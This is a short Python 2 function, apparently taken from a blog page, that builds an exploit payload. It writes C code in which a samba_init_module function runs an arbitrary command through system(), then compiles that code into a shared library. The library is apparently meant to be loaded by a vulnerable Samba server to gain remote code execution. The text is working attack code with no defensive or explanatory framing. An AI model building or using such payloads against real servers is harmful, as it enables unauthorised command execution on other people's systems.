def generate_payload(file_name, cmd):
content = '''
# include <stdio.h>
# include <stdlib.h>
int samba_init_module()
{
system("%s");
return 0;
}''' % cmd
payload = open(file_name + ".c", 'wb')
payload.write(content.strip())
payload.close()
compile_cmd = "gcc %s.c -shared -fPIC -o %s.so" % (file_name, file_name)
(status, output) = commands.getstatusoutput(compile_cmd)
if status == 0:
print "[*] Generate payload succeed: %s.so" % (os.path.dirname(os.path.realpath(__file__)) + '/' + file_name)
return file_name
else:
print "[!] Generate payload failed!"
exit()
评论列表
文章目录